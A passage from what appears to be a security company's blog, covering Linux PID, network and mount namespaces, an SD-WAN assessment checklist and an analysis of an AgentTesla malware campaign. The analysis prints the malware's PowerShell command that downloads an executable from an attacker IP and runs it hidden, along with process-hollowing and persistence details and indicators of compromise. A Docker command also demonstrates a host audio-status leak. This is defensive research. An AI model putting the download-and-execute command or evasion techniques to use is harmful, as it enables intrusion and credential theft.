By creating a PID namespace, the process ID number space gets isolated. This makes it possible that processes in a container have PIDs starting from the value 1 whereas the real PID outside of the namespace of the same process is an entirely different number. Therefore multiple processes can have the same PID value on a system while they reside in different PID namespaces. With this namespace type processes of a container can be suspended and resumed, making the PIDs of the processes unique and persistent within such a namespace. Furthermore, containers can have their own init processes with a PID value of 1 that prepare the container internals and reap child processes themselves rather than delegating this task to the system wide init process.

Joining namespaces of this type limits process communication: It’s not possible to interact with processes of other PID namespaces in a way that requires a process identifier when issuing system calls. For example, it’s important to note that processes can only send signals to other processes that reside in their current namespace or in namespaces descending from their current namespace. This isolation is one of the main use-cases for this namespace type in containerization.

PID namespaces allow nesting up to a depth of 32, resulting in one PID in the original namespace and one in the new namespace for each process. This creates one PID value in each namespace that’s a direct ancestor walking back to the root namespace. Changing PID namespaces is a one-way operation. This means that it’s not possible to move a process up to an ancestor namespace.

Moving a process to its own PID namespace does not isolate the list of processes visible for that process. This can be verified by creating a shell in its own PID namespace and examining the process list:

user@box:~$ sudo unshare -fp /bin/bash
root@box:~# ps aux
USER PID [...] COMMAND
[...]
user 5380 [...] /usr/lib/[...]/chromium-browser --enable-pinch
user 5388 [...] /usr/lib/[...]/chromium-browser --type=zygote
[...]

As can be seen in the listing above, processes residing in other namespaces are still visible. The process list is determined by processing the /proc/<PID> folders to gather the displayed information and this is not being isolated by joining a new PID namespace. By appending the option --mount-proc to the command used above, this issue is being resolved by creating a new mount namespace and remounting the /proc directory using mount -t proc proc /proc. This effectively isolates the directory contents of /proc and prevents a container from accessing the information stored in the /proc directory for processes residing in other namespaces. Employing this remounting mechanism is a part of the default behavior of Docker and other container engines. Therefore, leaking information of host process and accessing parts of these processes by sharing /proc is prevented.

A simple C usage example for this namespace type can be examined below:

[...]
int run(void *) {
std::cout << "[Child] PID: " << getpid() << std::endl;
std::cout << "[Child] Parent PID: " << getppid() << std::endl;
system("/bin/sh");
return 0;
}
int main(int argc, char const *argv[]) {
[...]
childPid = clone(run, childStackTop, CLONE_VFORK | CLONE_NEWPID,
0);
std::cout << "[Parent] Child PID: " << childPid << std::endl;
[...]
return 0;
}

After compiling and executing this codes it becomes clear that the child is running with PID 1 in the isolated environment and a different, much higher identifier outside of the namespace.

A process in a new PID namespace can be created by providing the CLONE_NEWPID flag. When using the same flag in combination with unshare or when calling setns, a new PID namespace will be created. This namespace is present in the /proc/<PID>/ns/pid_for_children file. The process calling unshare or setns will stay in its current namespace. Instead, the first child of this process will be placed in the new namespace with a PID value of 1, making it the container’s init process. This results from the assumption of many libraries and applications: PIDs of processes are not subject to change. By joining a new namespace at runtime, the identifier of a process would change. In fact, even C library functions like getpid cache the PIDs of processes [1].

Ever since PID namespaces have been implemented, PIDs are represented by a kernel structure called pid. In combination with the upid structure (include/linux/pid.h) it’s possible to determine the correct pid structure as seen in a specific PID namespace.

Network Namespaces

This namespace can enable processes to have their own private network stack, including interfaces, routing tables and sockets [2]. The corresponding clone flag is CLONE_NEWNET and the ip CLI application is available to manage network namespaces easily. The ip netns command is able to create a new permanent network namespace. This is being accomplished by bind-mounting /proc/self/ns/net to /var/run/netns/<Name of namespace>}. Using this, configuration can take place without moving processes to the namespace first.

To create a network namespace from the command line, the ip netns add is used as follows:

root@box:~# ip netns add one # Create a network namespace
root@box:~# strace ip netns add two # Trace the creation
[...]
unshare(CLONE_NEWNET) = 0
mount("/proc/self/ns/net", "/var/run/netns/two, [...]) = 0
[...]
root@box:~# ip netns exec one ip link # Execute command in NS
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN mode DEFAULT [...]
 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

As seen in the output listed above, adding a new network namespace is accomplished by following these steps:

Entering a new network namespace by using unshare with the CLONE_NEWNET flag
Executing the mount operation mentioned above

Deleting a network namespace can be done analogous. However, a namespace only gets destroyed in case all processes residing in the namespace are terminated. Otherwise it’s marked for deletion.

By default a new network namespace comes with its own local interface which is down by default. To perform the configuration of a namespace it may be convenient to spawn a shell in the desired network namespace with ip netns exec <name> bash. Among others, the following configuration scenarios are possible:

Linking network namespaces in order to provide a way for different namespaces to communicate by creating a network bridge.
Routing a network namespace through the host network stack to enable internet access.
Assigning a physical interface to a namespace. Please note that each network interface belongs to exactly one namespace at a given point of time. The same is true for sockets.

To enable the communication between the default network namespace and another namespace, virtual interfaces can be of use. These interfaces come in pairs of two - In this example veth0 and veth1 allowing a pipe-like communication:

# Create the virtual interface pair
root@box:~# ip link add veth0 type veth peer name veth1
# Move veth1 to the namespace named `one`
root@box:~# ip link set veth1 netns one
# Set the IP for veth1 in the new namespace
root@box:~# ip netns exec one ifconfig veth1 10.1.1.1/24 up
# Set the IP in the default namespace
root@box:~# ifconfig veth0 10.1.1.2/24 up

As seen above it’s possible to move an interface to a different namespace. This can for example be used to enable the communication between containers, similar to the functionality provided by docker --link. Therefore private container networks can be built that are isolated from the host and other containers on a host. Also, internet access for containers can be provided this way. While the Docker platform does this by default using a bridge network, it may be necessary to configure parts of this aspect manually for other container engines.

Moving an interface back to the default network namespace is accomplished with the command ip link set eth0 netns 1: It detects the correct namespace according to the specified PID with value 1, allowing administrators to identify namespaces by the process identifiers present in a given namespace. Moving interfaces between namespaces is implemented in the dev_change_net_namespace function of the Linux kernel [3]. Besides stopping and moving the desired interface it also notifies all processes using the interface in order to flush the message chains.

A common use-case for network namespaces is running multiple services binding to the same port on a single machine. This works by allocating a different port in the host’s network namespace for each port that’s being exposed by a container network namespace. Therefore all containerized web services can be configured to run on the default port 80 while they are being exposed on an entirely different port. Consequently applications do not require information on the real port that’s being used to expose the service and the host system can map ports freely. This provides a certain degree of portability when deploying containers that use network functionality.

Next post in series

Continue reading the next article in this series The User Namespace
Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

Credits

Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

References

1 - Namespaces in operation, part 4: more on PID namespaces
2 - Namespaces in operation, part 7: Network namespaces
3 - dev.c - Protocol independent device support routines
Title Image

Security in SD-WAN

René Hoffmann — Mon, 10 Aug 2020 15:38:00 +0200

A software-defined wide area network (SD-WAN) can be seen as a combination of a software-defined networking (SDN) technology and a Wide Area Network (WAN) using common connections such as the Internet or Multiprotocol Label Switching (MPLS), a routing technique often used by service providers. But how does an SD-WAN look like and what are its implications on security? And how do the initial steps for a security assessment look like? This article is about to clarify those questions and provides an SD-WAN security assessment checklist at the end.

Drawbacks in a traditional WAN

In a traditional WAN problems may occur because of the given components and architecture. Often there is a heterogeneous mix of different devices from several vendors. As the devices may use different proprietary protocols to communicate, administrating all of them might be difficult. Although there are management tools which try to centralize the administration and help to manage the WAN they are limited in their functionality. Moreover, if a device has reached its limit in computational power it will probably need to be exchanged entirely. A change of only the respective part, e.g., the CPU of a router is nearly impossible to handle. Therefore, increasing (or decreasing) hardware power is accompanied by maintenance windows and increased costs.

Properties of SD-WAN

A software-defined Wide Area Network (SD-WAN) has several advantages compared to a traditional WAN. It is more agile during the provisioning of new devices and more flexible for adjusting the network traffic. Another big advantage is the possibility to program the network through the use of Application Programming Interfaces (APIs). A direct connection between the application and network is established. Therefore, the behavior of a network device and the traffic flow in the network is handled by software which operates independently from the network hardware. In the end a fully programmable network enables the re-programmability of the network infrastructure instead of having to re-build it manually, e.g., by replacing hardware devices. A central management based on a so called controller is given. Therefore, administrators have a better overview of the network.

Basic components of an SD-WAN

In general there are two technologies behind a SD-WAN which are Network Functions Virtualization (NFV) and Software-defined Networking (SDN). NFV leverages standard IT virtualization technology to consolidate many network equipment types onto industry standard servers. That means instead of using many different expensive proprietary hardware devices only standard x86 servers are needed. On these servers full network devices like routers, switches or firewalls are running as virtual machines (VMs). A related concept to NFV is VNF. Virtual network functions (VNF) are only carrying out specific tasks like Network Address Translation (NAT) or Domain Name System (DNS) on a standard server instead of virtualizing complete devices. Therefore individual VNFs can be seen as the primary component of an overall NFV architecture, because for virtualization of a whole network device several virtualized network functions are required.

There is no single precise definition of the term SDN. Most definitions have in common to declare an SDN to be the physical separation of the network control plane from the forwarding data plane. Mostly, the control plane controls several devices. The following figure illustrates some differences between SDN and NFV.

SDN-vs-NFV

The definition of an SDN also applies to a SD-WAN. An SDN and an SD-WAN therefore share the same concept but are used in different environments. The SDN started out in data centers whereas the SD-WAN is used in Wide Area Networks. It might seem that there is just a little difference between SDN and SD-WAN but regarding security there is a big difference whether a solution is used internally (in the own data center) or externally (maybe even over the Internet).

The purpose of the control plane is to make decisions regarding protocols such as routing, spanning tree, authentication, Simple Network Management Protocol (SNMP), etc., by performing computations on a CPU. This task is shifted to a dedicated device which is often called an SD-WAN Controller. Therefore, an SD-WAN Controller is the “brain” of the SD-WAN solution. The controller makes all decisions and instructs the SD-WAN Edge devices to act on these decisions.

The data plane usually runs on dedicated hardware ASICs which take control of the actual forwarding of the traffic such as Layer 2/3 Switching or MPLS Switching. Devices in an SD-WAN (physical or virtual) which are in charge of traffic forwarding are often called SD-WAN Edges as they are placed at the perimeter of the network, e.g., to connect branches to the main office. Their main purpose is the forwarding of traffic within the SD-WAN which is done over encrypted tunnels. Besides, SD-WAN Edges can be configured to act as enforcers of the security policy and to conduct WAN optimization tasks. For configuration of an SD-WAN Edge an automated process called Zero Touch Provisioning (ZTP) is used. Because of the ZTP process an SD-WAN Edge only needs to be powered on and connected to a LAN and a WAN port. The SD-WAN Edge device will automatically establish the required connections to get any necessary configuration e.g. for connecting the new branch to the main office.

Most SD-WAN solutions consist of several more components beyond an SD-WAN Controller and an SD-WAN Edge. Still, those two types of devices occur in nearly every solution. Nevertheless, the naming, the specific amount of various devices, and their exact task might differ from vendor to vendor. For instance there is most likely some kind of management plane in place since a central management is a key aspect of an SDN. The management plane consists of a service with a user interface such as a WebUI for the administrators to manage the network. The service can be called an SD-WAN Manager.

Additionally, other services like databases might be performed by the SD-WAN Manager. In case of multiple SD-WAN Managers it can be helpful to have an orchestration plane as well. A Service Orchestrator within that plane is used for the overall deployment of several SD-WAN Managers with their respective SD-WAN Controllers and SD-WAN Edges. In the following figure a basic overview of the SD-WAN components is shown.

Overview-of-SD-Wan-components

The naming of the SD-WAN devices in this article is based on the work of MEF: MEF 3.0 SD-WAN

Current state of SD-WAN security

SD-WAN products are almost always in the early stages of development. A lot of open source projects are outdated or unsupported. Regarding the current state of security in SD-WAN solutions it can be stated that it is still a bleeding edge technology. Meaning that even service providers do not have much experience in implementing SD-WAN products. Therefore the main focus lies on the implementation of the functionality. Security is of secondary consideration.

Often there are only minor issues in the design (insufficient Role Based Access Control (RBAC), no Multi-Factor Authentication (MFA),…), but the actual implementation is frequently missing basic security features. Especially the web interfaces are prone to vulnerabilities. Moreover, there is a lot of potential for privilege escalation vulnerabilities when interacting with the devices via CLI or SSH. Another aspect to consider is the partly fast deliverance of patches by the vendors to fix vulnerabilities as well as broken functionalities. Often patches can not be applied that fast because their impact on the network stability needs to be tested first resulting in the use of outdated software in productive environments.

Because of the usage of rapidly evolving products additional issues occur. Regarding the (security) documentation it has to be noted that an incomplete documentation may arise during the implementation of a new SD-WAN because the product itself is still subject to changes and workarounds might be needed to fix broken functionalities. Therefore tasks such as performing a risk analysis can be difficult.

All in all the security in SD-WAN solutions can be considered in its infancy.

SD-WAN Security Assessment Checklist

The attack surface of a SD-WAN solution strongly depend on the actual implementation and use case. Since there is no standard SD-WAN solution every vendor-specific product or free and open source solution will be different. To address this issue the following proposals are formulated generically so that they can be applied to as much SD-WAN solutions as possible.

The SD-WAN New Hop Project released a checklist for an initial security assessment. The following checklist is based on their work.

Common

What third-party components and libraries are used?
- How secure are these?
- Would a change in any external component be noticed?
- Are the components used in their latest versions?
Run host auditing tools (e.g. like lynis ) on each node and assess the hardening level.
Run a host-based vulnerability scanner (e.g. vulners ) and assess the patch management level.
If certificates are used, how are they managed?
- Check the renewal process.
- Are there revocation processes like Certificate Revocation List (CRL) or Online Certificate Status Protocol (OCSP) implemented?
- Who issues the certificates? A third-party?
Are there any out-dated versions of software used?
- Search for known vulnerabilities and CVEs.
- Why is the software outdated?
  - Missing patch management?
  - Instable patches by vendor?
How is the network isolation / VPN segregation realized?
Identify all publicly exposed components (Internet or e.g. cloud internal)
- Scan these components with a vulnerability scanners (e.g. Nessus ).
- Are the components scanned on a regular basis?
If you have console or remote access, try to interact with the underlying OS (mostly *nix based).
- Keep known CVE’s in mind.
Are there any connections to legacy networks?
- What data is transferred between the SD-WAN and the legacy network?
- Check for any route redistribution (e.g., via BGP).
If possible review the configuration of the components.
What happens if direct changes to the configuration of a SD-WAN Edge are made e.g. by CLI?
- Are the changes noted e.g. by the SD-WAN Controller and corrected?

Management

Is there a security monitoring?
- What happens in case of a security event or incident?
What operational processes are in place?
How is the configuration management realized?
- Who is able to make changes to the configuration?
- Are changes to the configuration logged?
- Is the configuration management documented?
Is a vulnerability and incident management process established?
- What happens in case of an incident?
How are the requirements on availability? Is the fail-over process tested and documented?
How is change and patch management realized?
Is there a provisioning and de-provisioning process in place and documented?
Is there a appropriate backup process in place?

Architecture

Is a vendor-controlled cloud management interface used within the architecture?
Are the devices physical or virtual?
- Check for missing secure elements like Trusted Platform Modules (TPMs) or preinstalled certificates on virtual devices.
- In case of a physical device check for the physical security.
Identify all APIs or API middleware.
- Check the APIs for possible abuse.
- How is authentication implemented?

Zero Touch Provisioning

How does a network device get its initial configuration?
- Are there any differences between virtual and physical devices?
How does a network device discover a controller, orchestrator and other entities?
How do network devices, the controller, and the orchestrator authenticate each other?
How is trust provisioned and what mechanisms are used? One-time tokens, X.509 certificates, login and password, pre-shared keys?
How do re-discovering or re-joining mechanisms work?

Cryptography

Which cryptographic protocols and implementations are used on the data plane?
Which cryptographic protocols and implementations are used on the control plane?
Is authenticated encryption with associated data (AEAD) ciphers supported?
How is the key management implemented?
How consistent are the security levels of the various protocols and primitives?
Look for legacy primitives like DES, 3DES, RC4, MD5, SHA1 or custom primitives.
Is it possible to control cryptographic mechanisms (e.g., enable TLS 1.3 only, disable unwanted ciphers, etc.)?
Run a TLS scanner (e.g., testssl.sh , SSL Labs server scanner , sslyze , etc.) against TLS-enabled interfaces and assess the results.
Run an SSH scanner (e.g., ssh_scan ) against SSH-enabled interfaces.
Which type of Public Key Infrastructure (PKI) is used?
- Are the certificates self-signed?
- Is an external Certificate Authority (CA) engaged?
If ECC is used, is the security level sufficient?
Does the solution make use of IPSec?
- Check the parameters like Diffie-Hellman (DH) group, Perfect Forward Secrecy (PFS), aggressive mode usage.

Secure Communications

Which protocols are used between orchestrator, controller, and edge devices?
- Are these standardized or proprietary protocols?
- Are they secured by encryption, integrity protection and authentication?
How do SD-WAN entities authenticate each other?
Run a network sniffer (e.g. tcpdump) on each node (orchestrator, controller, edge router), review traffic and check whether unencrypted sensitive packets are sent.
Do the chosen protocols and primitives provide the security required by your threat model?
Where and how are secrets (e.g., private keys, pre-shared keys, tokens) stored?
Check whether the same hard coded certificate is used on different deployments.
Is a key renewal mechanism supported on control channels?

(Web-) Management Interface

How is Authentication, Authorization, and Accounting (AAA) realized?
- Is Multi-Factor Authentication (MFA) used?
- Who has access to the management interface?
- Check for an Role Based Access Control (RBAC) model.
Conduct a web application security assessment.
- Especially check for OWASP Top 10 and known CVE’s.
Are cryptographic secrets accessible via the web interface?

Unfortunately there are nearly no tools which are primarily specializing in SD-WAN security and are still updated.

Conclusion

To sum it up, it can be said that SD-WAN technologies are still in a development state and therefore likely suffer from teething troubles. For the beginning the aforementioned checklist will help with an initial security assessment. Still, the actual implementation of a SD-WAN solution might contain more components than mentioned in this article and therefore the total security assessment might need to be extended.

References / Credits

1 - SD-WAN New Hope Project
2 - DELTA: SDN SECURITY EVALUATION FRAMEWORK
3 - ATTACKING SDN INFRASTRUCTURE
4 - HACKING THE BRAIN
5 - FlowFuzz
6 - modern-network-areas-in-software-defined
7 - SDN vs NFV comparison Image
8 - Virtual network functions VNF
9 - MEF 3.0 SD-WAN
10 - programmable network (PN)
Title Image by Omar Flores on Unsplash.com

Home office and IT security in times of COVID-19

SCHUTZWERK GmbH — Fri, 17 Apr 2020 13:00:00 +0100

The current situation and the preventive measures taken around the COVID-19 pandemic not only severely restrict public and private life, but also have a major impact on work culture.

re and more companies are being forced to allow their employees to work from home in order to keep operations running as smoothly as possible despite the restrictions and prohibitions.

Where otherwise concepts are developed over months, preparations are made and test runs are carried out, home office possibilities must currently be created within a few days. These ad hoc solutions are therefore rarely fully developed and often exhibit considerable deficiencies in the area of IT security. This is also reflected in the significant increase in malware and phishing campaigns, which take advantage of the current situation and thus increasingly target home office employees.

How these threats can be countered and what each individual can do at home to create a safer working environment was demonstrated by Tobias Arnold in a one-hour webinar on April 17. The presentation was aimed specifically at IT security laypersons and highlighted concrete risks and corresponding measures in four different areas of the home office.

Uncovering a Malware Campaign Targeting the Logistics Industry

Philipp Schmied — Thu, 02 Apr 2020 16:29:10 +0100

Introduction

Recent malware campaigns targeting private individuals and organizations quickly adapted to new spreading methods: Content related to COVID-19 is currently one of the main ways to distribute spam emails and malicious software [1] . This post outlines how opening a malicious Word document enables an attacker to conduct industrial espionage.

This specific malware was likely sent to a selected list of potential victims, embedded in a document that was attached to a COVID-19-related phishing email.

The Malware Campaign

The campaign most likely started on 2020/03/31 and was rather short lived: The attacking infrastructure has been taken offline two days later. The second stage malware payload was removed from the web server even earlier. This was probably done in order to minimize the infection rate and the “noise” caused by the infection process. Another reason could be that the attacker(s) found out that the sample was already in the hands of malware researchers, e.g., by receiving traffic from honeypots or by detecting unusual downloads by fingerprinting browser user agents. At the time the analysis has taken place the campaign was still ongoing.

The actual malware payload was hosted on novaa-ship.com, a typosquatting domain for nova-ship.com, the legitimate domain of the Nova Group. This company is present in the maritime logistics segment. The majority of the possible victims could be companies that are active in the same industry. However, accounts of government websites and business partners could be compromised, additionally. This is due to the fact how this malware works.

Introducing AgentTesla

The AgentTesla malware has been around since 2014. It is based on a subscription model that provides customers with time limited licenses for the malware, including a web panel for monitoring and configuration, a converter for Word documents, as well as technical support [2] . According to investigators, more than 6.300 purchases have been made for this spyware product. Its main purpose is to steal stored login information and send them to the attacker. Additionally, the software takes screenshots and monitors keystrokes. Many users tend to store login information in their browsers and other software they use on a daily basis. These credentials can be valid for services of the compromised company, but also for services hosted by business partners. AgentTesla exploits exactly this user behavior. Hence, one compromised machine can already suffice to allow attacker(s) to infiltrate an entire organization, as well as business partners.

According to MITRE [3] the malware is capable of capturing webcam video feeds, bypass anti virus products and communicates with the attacker using HTTP or SMTP.

Technical Analysis

The complete execution chain has been documented after extensive reverse engineering of the malware sample. Some aspects of this analysis will be described throughout this section, structured by the different execution stages.

Below, a complete overview of the malware execution process, starting from the malicious Word document is shown:

Decryption and Infection Process

As can be seen, the actual AgentTesla malware is the binary that is executed in the last stage. All previous stages are only used for obfuscation, evasion, and persistence.

First Stage: `covid.doc`

The malicious document is built in a way that tricks users to trigger the execution of an embedded script that launches a PowerShell process:

PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command
"(New-Object System.Net.WebClient).DownloadFile(
 'httP://5.189.132.254/yUtro.exe',
 'C:\Users\<User>\AppData\Roaming\chme.exe');
 Start-Process 'C:\Users\<User>\AppData\Roaming\chme.exe'"

The script downloads the second stage payload yUtro.exe from a web server hosted in Germany and executes the downloaded binary.

Second Stage: `yUtro.exe`

It turns out that the binary is a .NET executable file that is heavily obfuscated. Most of its class and method names are randomized. Additionally, the embedded strings are encoded and only present in plain text during run time. On top of that, the malware is structured into five additional stages. The code for these stages is already present in the second stage payload but in encrypted form. This means that manual reverse engineering and debugging is required in order to fully uncover the malware’s internals.

In a method called EncodingNameCFXTgOMUsu, the malware decrypts a stored resource of the binary using a hard coded AES key. The result is a .NET DLL file that is loaded with the command Assembly.Load(). Finally, a method of this DLL is called with the System.Reflection member function Invoke():

Invoke Call

The way of decrypting and performing calls into the next stage is the same for all following stages. The only difference is the cryptographic algorithm used and its key.

A convenient way to detect and trace this type of behavior is placing breakpoints on all Invoke() variants in mscorlib.dll. Thus, the execution into the next stage can be easily followed in the debugger.

Third Stage: `XCGwGD.dll`

This stage is basically the same decryption and invocation process all over again, but using a different payload for the next stage. Below is a screenshot that demonstrates that the code for the next stage can be found in memory and identified using the PE Header:

Memory Layout

Using dnSpy it is then possible to directly dump this memory segment to disk for further analysis. Also, writing a modified version of the DLL back into the memory segment is an option that can make some analysis tasks easier.

Fourth Stage: `LOL.dll`

Like all other stages the extracted DLL is obfuscated as well:

LOL Obfuscated

In this stage the software hides its executable binary through file attributes and gains persistence by creating a shortcut in the startup folder of the compromised user:

LOL Persistence"

Hence, the original second stage (yUtro.exe) is executed again after restarting the system.

Eventually a call to XD() is made, which decodes and reverses strings in memory. These strings are then used to check whether specific anti virus products are running on the machine:

LOL AV (1)

LOL AV (2)

Using the next stage the malware tries to remove any hooking performed by AV systems, as described in the next section.

Fifth Stage: `Unhook.dll`

Using a fixed list of process and directory names, this stage tries to detect anti virus software and virtual machine specific services:

Unhook

In case this test result is positive calls to VirtualAllocEx() follow which relocate parts of the application memory. This detection was bypassed directly in the debugger by always setting the flag value to true. Thus, no further investigation of the unhooking process was performed.

After the fifth stage is completed, the execution goes back to the previous stage (LOL.dll), which then decrypts and invokes the next stage.

Sixth Stage: `26.dll`

This is the last stage before the actual AgentTesla payload is executed. The way AgentTesla gets executed is quite different from the previous calls to Assembly.Load() and the following Invoke().

This stage creates an entire new process for AgentTesla by the use of native Windows API functions. Below, some of the relevant imports are shown:

WinAPI Imports

Note that as in the previous stages the names of these functions are obfuscated, such as Jm() for CreateProcess(). This makes the entire process creation harder to track, as the calls to these functions actually look like the following in the decompiled code:

Calls To WinAPI

After reverse engineering the execution of AgentTesla, the whole process can be summarized as follows:

Create a new process that has the original second stage payload yUtro.exe loaded using CreateProcess(). This process is created in suspended state, which means that the execution does not take place at the moment.
Allocate a new memory segment in the child process at 0x400000 with VirtualAllocEx(). This segment has to be readable, writable, and executable. This can also be observed with the tool ProcessHacker:

Suspended Child Process

Decrypt the AgentTesla program code and write it to the memory segment allocated previously with WriteProcessMemory(). This memory segment now contains an entirely new executable:

After Writing Process Memory

Start the execution of AgentTesla by calling ResumeThread() on the child process.
The child process will then start and execute the AgentTesla payload instead of its original payload.

Again, it is possible to dump the decrypted program code directly from memory using dnSpy by exporting the buffer passed to WriteProcessMemory(). With this exported binary it is possible to execute and debug AgentTesla directly. The parent process is killed after the child process has been resumed.

Seventh Stage: AgentTesla (`xLCgLrXGqhSttKqesegeCEDbSkwVaLKjFwT.exe`)

Finally arriving in AgentTesla’s code it can be observed that the program code is again obfuscated. However, the used name randomization is slightly different:

AgentTesla Code

From this point on, AgentTesla runs in the background and performs its work, i.e, harvesting credentials and other information and reporting the data back to the attacker(s). The easiest way to observe the actual search for stored credentials is by using ProcessMonitor:

AgentTesla Harvesting Credentials

Interestingly, this variant of AgentTesla does not use HTTP requests to transmit data. Instead it uses SMTP in combination with hard coded credentials to login at the remote mail server:

AgentTesla Leaks Credentials

There are various kinds of transmitted data:

Recorded keystrokes and clipboard entries as raw email messages.
A screenshot of the victim’s machine as JPEG attachment.
A ZIP archive containing all credential databases that were found on the machine.

Sending of this data takes place periodically, so new credentials can also be obtained by an attacker. Additionally, profiling data of the system, its user and the installed hardware is transmitted.

Conclusion

Comparing the complex staging process to the simple data exfiltration mechanism that relies on hard coded credentials leads to the conclusion that this malware was created from several components, developed by different authors. It’s therefore possible that the whole malware campaign was carried out by rather low-skilled attacker(s). Another fact indicating that various malware modules may have been combined in this attack, is the different obfuscation method found in the final AgentTesla executable.

All samples have been submitted to Microsoft to add Windows Defender signatures, in case they are not already in the process of being distributed.

IOCs

These are the indicators of compromise for the analysed sample:

Malicious document covid.doc (or similar name) with SHA256 hash a02848ec22bd6cac61258bf9c83a8feceb4ca5f3f6b828cc47a2e44a14a34abf
Dropped and hidden file yUtro.exe or chme.exe with SHA256 hash a1f8429d0e0750461e796507148f39535fbf28710d45dd5fc90691235b078271
Created shortcut to yUtro.exe at C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Start-up\floqqq.lnk
Compressed harvested credentials at C:\Users\<User>\AppData\Roaming\<randomString.zip>
DNS requests to mail.novaa-ship.com
Communication with 5.189.132.254 (hosting yUtro.exe) or 162.241.27.33 (SMTP service)
File download of http://5.189.132.254/yUtro.exe

References

1: Developing Story: COVID-19 Used in Malicious Campaigns
2: Krebs On Security: Who Is Agent Tesla?
3: MITRE ATT&CK: Agent Tesla
Title Image

Linux Container Primitives: Mount Namespaces and Information Leaks

Philipp Schmied — Tue, 24 Mar 2020 08:56:10 +0100

In the previous part of the Linux Container Primitive series, basic information regarding namespaces were covered. This post discusses the mount namespace type and its usage in detail. Also, an information leak that’s related to the usage of mount namespaces in Docker is described. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

Mount Namespaces

This namespace type was the first to be added to the Linux kernel 2.4.19 in 2002 [1]. The goal of mount namespaces is to restrict the view of the global file hierarchy by providing each namespace with its own set of mount points.

A newly created namespace initially uses a copy of the parent’s mount tree. To add and remove mount points, the mount and umount commands are available. The implementation of these commands had to be modified in order to be aware of namespaces and work in combination with mount namespaces.

The initial implementation of mount namespaces caused a usability issue that ultimately reduced the efficiency of these namespaces: To make a device available for all or a subset of all namespaces it was required to execute one mount operation for each namespace. However, the optimal approach would require only a single mount operation to perform the same task. Additionally, a solution to manage mountpoints in all namespaces at once would provide more convenience. For these reasons, shared sub-trees have been introduced[2].

The basic idea of shared sub-trees is that a propagation type is associated with each mount point. This configures how each mount operation within a mount point will be propagated to other related mount points. Internally the kernel uses peer groups in order to determine whether a mount event gets propagated to a specific mount point. A peer group consists of a set of mount points that share mount events with each other. Mount points get added to a peer group in case the specific shared mount point is being replicated by joining a new mount namespace or when bind-mounting a mount point. Peer group members are being removed in case an unmount operation is being issued or as soon as a mount namespace gets destroyed.

The following propagation types are available:

MS_SHARED: This shares the mount with all mount points residing in the same peer group. Mount operations on a peer’s mount will also be propagated to the original mount.
MS_PRIVATE: No mount events are being propagated and no events are being received. Other mount namespaces will not be able to access the mount point.
MS_SLAVE: Mounts of this type only receive events. They do not share events and effectively provide private mounts for mounts created using this propagation type.
MS_UNBINDABLE: This type is similar to the private type with an addition: Mounts of this type can not be used to create bind mounts. An example usage of this type can be found below.

The types can be prefixed with an r to make its effect recursive for all child mounts of a mount point.

Consider the following scenario [1]: Two users, namely Alice and Bob, are sharing parts of the same file hierarchy and are being placed in their own mount namespaces. They are then being provided with their own view of the system directories. To perform this task, the system’s directories have been bind-mounted into the user specific directories of the sub-tree, as shown on the left figure [1] below. Note that the folders of Alice and Bob are replicated in the bind-mounted sub-tree directories which is not desired.

[1]

By using the MS_UNBINDABLE flag this is prevented, effectively creating the hierarchy as can bee seen on the second figure below[1]:

[4]

To make use of the advantages provided by shared sub-trees, a mount now has to be shared with both users. As can be seen on the first figure below, a data medium was inserted. However, it’s only present outside of the mount namespaces of Alice and Bob.

[2]

By executing a mount command with the --make-shared flag, the mount of the data medium is now also present in the mount namespaces of both users:

[3]

Moreover, every mount operation executed in the /mnt directory will now automatically be propagated to the mount namespaces of Alice and Bob.

This approach also enables Alice and Bob to have private mounts that are not being shared with other users. This can be achieved by either making the sub-tree mounts of the users slaves or by creating private mounts inside of the respective user directories.

The mount points available for a specific process of a namespace can be found along with their propagation types in the /proc/self/mountinfo file.

By default Docker uses the private propagation type when mounting directories with the -v parameter. This can be verified by examining the output of docker inspect <Containername>:

[...]
"Mounts": [
{
"Type": "bind",
"Source": "/tmp/test",
"Destination": "/tmp/test",
"Mode": "",
"RW": true,
"Propagation": "rprivate"
}
],
[...]

This isolates the mount points of both the host and a container and no mount events are being propagated between a container and the host. Therefore mount points present on the host are not available for containerized processes and the other way around because separate mount namespaces are in place.

Consider sharing a host directory with a container after starting an initial process in it: In this scenario mounting takes place across two mount namespaces - the host namespace and the respective container namespace. The nsenter utility assists when performing this task by using setns to join the container’s mount namespace in order to allow creating mount points in the container. Because the capabilities in the host’s mount namespace are being preserved, a folder governed by the host can therefore be mounted into the container, effectively sharing it between the host and the container.

For containers, host paths can also be masked to provide each container with its own version of a specific folder. For example by masking the /proc/acpi it’s not possible for a containerized process to enable host interfaces like the Bluetooth device. Issues can be present in case no proper masking is taken into account [3]. The Docker platform automatically masks certain paths under /proc and /sys to counter these potential issues.

Discovering an Information Leak in Docker

During an assessment of the Docker platform, two information leaks regarding the /proc/asound path were discovered in the associated OCI container specification:

Leak of audio device status of the host

When media is being played on the host, the /proc/asound/card*/pcm*p/sub*/status files may contain information regarding the status of media playback. Consider this command for a demonstration:

docker run --rm \
 ubuntu:latest bash -c \
 "sleep 5; \
 cat /proc/asound/card*/pcm*p/sub*/status | \
 grep state | \
 cut -d ' ' -f2 | \
 grep RUNNING || echo 'not running'"

When playing a media file, watching a video or executing similar actions involving sound output on the host, the command above demonstrates that a containerized process is able to gather information on this status. Therefore a process in a container is able to check whether and what kind of user activity is present on the host system. Also, this may indicate whether a container runs on a desktop system or a server as media playback rarely happens on server systems.

The scenario described above is in regard to media playback. Moreover, when examining the /proc/asound/card*/pcm*c/sub*/status files (pcm*c instead of pcm*p) this can also leak information regarding capturing sound, as in recording audio or making calls on the host system.

Leak of Monitor Type

